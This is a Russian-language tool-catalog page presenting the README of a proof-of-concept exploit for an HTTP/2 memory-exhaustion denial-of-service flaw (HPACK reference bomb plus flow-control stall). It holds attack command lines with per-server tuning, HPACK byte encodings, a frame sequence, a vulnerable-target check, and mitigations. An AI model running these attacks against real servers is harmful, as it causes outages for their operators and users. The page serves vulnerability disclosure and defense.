Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49975-POC — HTTP/2 бомба PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall) | Kitploit
Инструменты/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасностьТестирование на Проникновение
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 бомба PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall)

Репозиторий
29863 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49975 — PoC HTTP/2 Bomb

CVE Severity Python

Эксплойт-концепт для CVE-2026-49975 — удалённая уязвимость типа «отказ в обслуживании» в реализациях сервера HTTP/2. Обнаружена Куангом Луонгом (Calif Security Research), раскрыта 2 июня 2026 года.

Только для авторизованного тестирования безопасности. Не используйте против инфраструктуры, которой вы не владеете или на тестирование которой у вас нет письменного разрешения.


Как это работает

Атака объединяет два механизма протокола HTTP/2:

1. HPACK-бомба с индексными ссылками

HPACK (RFC 7541) позволяет отправителю ссылаться на ранее виденные заголовки по индексу — обычно один байт. Эксплойт один раз вставляет почти пустой заголовок в динамическую таблицу, а затем тысячи раз ссылается на него. Каждая однобайтовая ссылка на проводе заставляет сервер выделять около 70 байт внутренней учётной записи на одну запись. Большие значения не используются, поэтому ограничения «максимальный размер декодированного заголовка» никогда не срабатывают.

2. Блокировка окна управления потоком HTTP/2

Объявляя нулевое окно приёма, атакующий не даёт серверу отправить свой ответ или освободить память. Периодические кадры WINDOW_UPDATE размером в 1 байт сбрасывают тайм-аут отправки сервера, удерживая выделения памяти на всё время открытого соединения.

Результат: ~16 КБ отправлено на поток → ~1,15 МБ оперативной памяти сервера выделено и удерживается на поток.


Уязвимые серверы

СерверАмплификацияДемонстрационный эффектСтатус
Envoy 1.37.2~5 700:132 ГБ за ~10 сИсправления нет на момент раскрытия
Apache httpd 2.4.67~4 000:132 ГБ за ~18 сИсправлено в mod_http2 v2.0.41
nginx < 1.29.8~70:132 ГБ за ~45 сИсправлено в nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 ГБ за ~45 сИсправления нет на момент раскрытия
Cloudflare Pingora~68:1—Исправления нет на момент раскрытия

Использование

Зависимостей нет — только стандартная библиотека.

# Базовый тест (одно соединение)
python3 exploit-test.py target.com 443

# Бомба учётной записи для nginx (рекомендуется для целей nginx)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Метод «cookie-crumb» для Apache/Envoy
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 в открытом виде (редко — большинство серверов требуют TLS для h2)
python3 exploit-test.py target.com 80 --no-ssl

Аргументы

ФлагПо умолчаниюОписание
target—Имя хоста или IP
port443TCP-порт
--threads1Параллельные соединения (каждое переподключается при закрытии)
--streams10Потоков HTTP/2 на соединение
--headers5000HPACK-ссылок по индексу на поток
--modenginxnginx (учётная запись, 70:1) или classic (большое значение, 4000:1)
--no-sslвыкл.Отключить TLS (h2c)

Оценка давления на ОЗУ

total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# пример для nginx: 50 × 30 × 16374 × 70 / 1024² = ~1 647 МБ

Оптимальные настройки для разных целей

ЦельРежим--headersПримечания
nginx < 1.29.8nginx16374В пределах значения по умолчанию http2_max_header_size 16k
Apache httpdclassic5000Метод «cookie crumb»
Envoyclassic32000Высокая амплификация

Проверка уязвимости цели

# Подтверждение поддержки HTTP/2 и версии сервера
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Уязвим, если:
# - ALPN: server accepted h2   (HTTP/2 включён)
# - server: nginx/X.Y.Z        (где X.Y.Z < 1.29.8)

Меры защиты

nginx — обновитесь до 1.29.8+ и добавьте:

http2 max_headers 1000;

Или полностью отключите HTTP/2:

# Удалите "http2" из директивы listen
listen 443 ssl;

Apache httpd — обновите mod_http2 до v2.0.41+. Временное решение: Protocols http/1.1

IIS / Envoy / Pingora — на момент написания исправлений нет. Отключите HTTP/2 или поставьте спереди прокси с исправлением.

Общее (все серверы):

# Ограничьте память рабочего процесса, чтобы уменьшить радиус поражения
ulimit -v 2097152   # 2 ГБ на процесс
# Docker: --memory="2g" --memory-swap="2g"

Технические детали

Кодировка HPACK

Затравка динамической таблицы (инкрементальное индексирование, добавляет в индекс 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Индексная ссылка на запись 62 (по 1 байту):
  0x80 | 62 = 0xbe

Полезная нагрузка на проводе на поток = 9 байт (затравка) + N байт (N ссылок)
Выделение памяти сервером на одну ссылку ≈ sizeof(ngx_table_elt_t) ≈ 70 байт

Последовательность кадров HTTP/2

Клиент → Сервер:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (преамбула)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (настройка блокировки)
  SETTINGS ACK                          (после чтения SETTINGS сервера)
  HEADERS [поток 1]  ← бомба           (псевдозаголовки + HPACK-бомба)
  HEADERS [поток 3]  ← бомба           (псевдозаголовки + HPACK-бомба)
  ...
  WINDOW_UPDATE(1) на поток / 1s       (блокировка keep-alive)

Файлы

ФайлОписание
exploit-test.pyОсновной PoC — многопоточный, с реконнектом, режимы nginx и classic
SECURITY-REPORT-MIST.mdОтчёт авторизованного тестирования для mist.ac.bd
LICENSEMIT

Ссылки

  • CVE-2026-49975
  • RFC 7541 §7.3 — Потребление памяти HPACK
  • RFC 9113 §8.2.3 — Разделение заголовка Cookie
  • CVE-2016-6581 — Оригинальная HPACK-бомба (Кори Бенфилд, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Гал Бар Нахум, 2025)
Скачать инструмент